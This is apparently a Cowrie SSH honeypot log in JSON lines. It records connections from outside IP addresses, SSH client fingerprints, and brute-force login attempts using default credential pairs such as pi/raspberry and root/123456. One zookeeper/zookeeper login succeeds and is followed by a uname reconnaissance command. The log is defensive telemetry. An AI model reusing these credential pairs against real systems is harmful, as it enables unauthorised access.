{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:05.355136Z","src_ip":"52.231.220.210","session":"fd3220d08014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mc123456","message":"login attempt [root/Mc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:06.169161Z","src_ip":"52.231.220.210","session":"fd3220d08014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42292,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fdd8a753e7c","protocol":"ssh","message":"New connection: 176.65.139.103:42292 (10.17.0.5:22) [session: 6fdd8a753e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.195091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.208741Z","src_ip":"176.65.139.103","session":"6fdd8a753e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.291438Z","src_ip":"176.65.139.103","session":"6fdd8a753e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.369195Z","src_ip":"52.231.220.210","session":"fd3220d08014","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.557362Z","src_ip":"176.65.139.103","session":"6fdd8a753e7c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.796258Z","src_ip":"176.65.139.103","session":"6fdd8a753e7c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.800094Z","src_ip":"176.65.139.103","session":"6fdd8a753e7c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.914760Z","src_ip":"176.65.139.103","session":"6fdd8a753e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:07.920592Z","src_ip":"176.65.139.103","session":"6fdd8a753e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55144,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a571069ac5","protocol":"ssh","message":"New connection: 176.65.139.103:55144 (10.17.0.5:22) [session: c2a571069ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:14.444329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:14.452266Z","src_ip":"176.65.139.103","session":"c2a571069ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:14.529886Z","src_ip":"176.65.139.103","session":"c2a571069ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:15.259018Z","src_ip":"176.65.139.103","session":"c2a571069ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:16.368354Z","src_ip":"176.65.139.103","session":"c2a571069ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55154,"dst_ip":"10.17.0.5","dst_port":22,"session":"161a48dbae1c","protocol":"ssh","message":"New connection: 176.65.139.103:55154 (10.17.0.5:22) [session: 161a48dbae1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:21.657159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:21.660890Z","src_ip":"176.65.139.103","session":"161a48dbae1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:21.741721Z","src_ip":"176.65.139.103","session":"161a48dbae1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:22.198318Z","src_ip":"176.65.139.103","session":"161a48dbae1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:23.378995Z","src_ip":"176.65.139.103","session":"161a48dbae1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35162,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5acdc8beaff","protocol":"ssh","message":"New connection: 176.65.139.103:35162 (10.17.0.5:22) [session: c5acdc8beaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:28.853565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:28.863019Z","src_ip":"176.65.139.103","session":"c5acdc8beaff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:28.944561Z","src_ip":"176.65.139.103","session":"c5acdc8beaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:29.287976Z","src_ip":"176.65.139.103","session":"c5acdc8beaff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:30.674700Z","src_ip":"176.65.139.103","session":"c5acdc8beaff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41504,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9d8495ad3a3","protocol":"ssh","message":"New connection: 159.203.92.129:41504 (159.203.135.109:22) [session: f9d8495ad3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:33.900625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:33.905849Z","src_ip":"159.203.92.129","session":"f9d8495ad3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:33.915147Z","src_ip":"159.203.92.129","session":"f9d8495ad3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123@abc","message":"login attempt [ansible/123@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:33.928391Z","src_ip":"159.203.92.129","session":"f9d8495ad3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:34.937348Z","src_ip":"159.203.92.129","session":"f9d8495ad3a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57404,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bab9a173ffc","protocol":"ssh","message":"New connection: 176.65.139.103:57404 (10.17.0.5:22) [session: 2bab9a173ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:36.073078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:36.078151Z","src_ip":"176.65.139.103","session":"2bab9a173ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:36.161591Z","src_ip":"176.65.139.103","session":"2bab9a173ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:36.616302Z","src_ip":"176.65.139.103","session":"2bab9a173ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:37.703293Z","src_ip":"176.65.139.103","session":"2bab9a173ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":33864,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7ad125d5a7","protocol":"ssh","message":"New connection: 202.184.144.220:33864 (10.17.0.5:22) [session: aa7ad125d5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:39.519517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:39.524343Z","src_ip":"202.184.144.220","session":"aa7ad125d5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:39.784368Z","src_ip":"202.184.144.220","session":"aa7ad125d5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4rfvVFR$","message":"login attempt [root/4rfvVFR$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:40.747561Z","src_ip":"202.184.144.220","session":"aa7ad125d5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:41.983181Z","src_ip":"202.184.144.220","session":"aa7ad125d5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57416,"dst_ip":"10.17.0.5","dst_port":22,"session":"5079c4a76ea3","protocol":"ssh","message":"New connection: 176.65.139.103:57416 (10.17.0.5:22) [session: 5079c4a76ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:42.700314Z"}
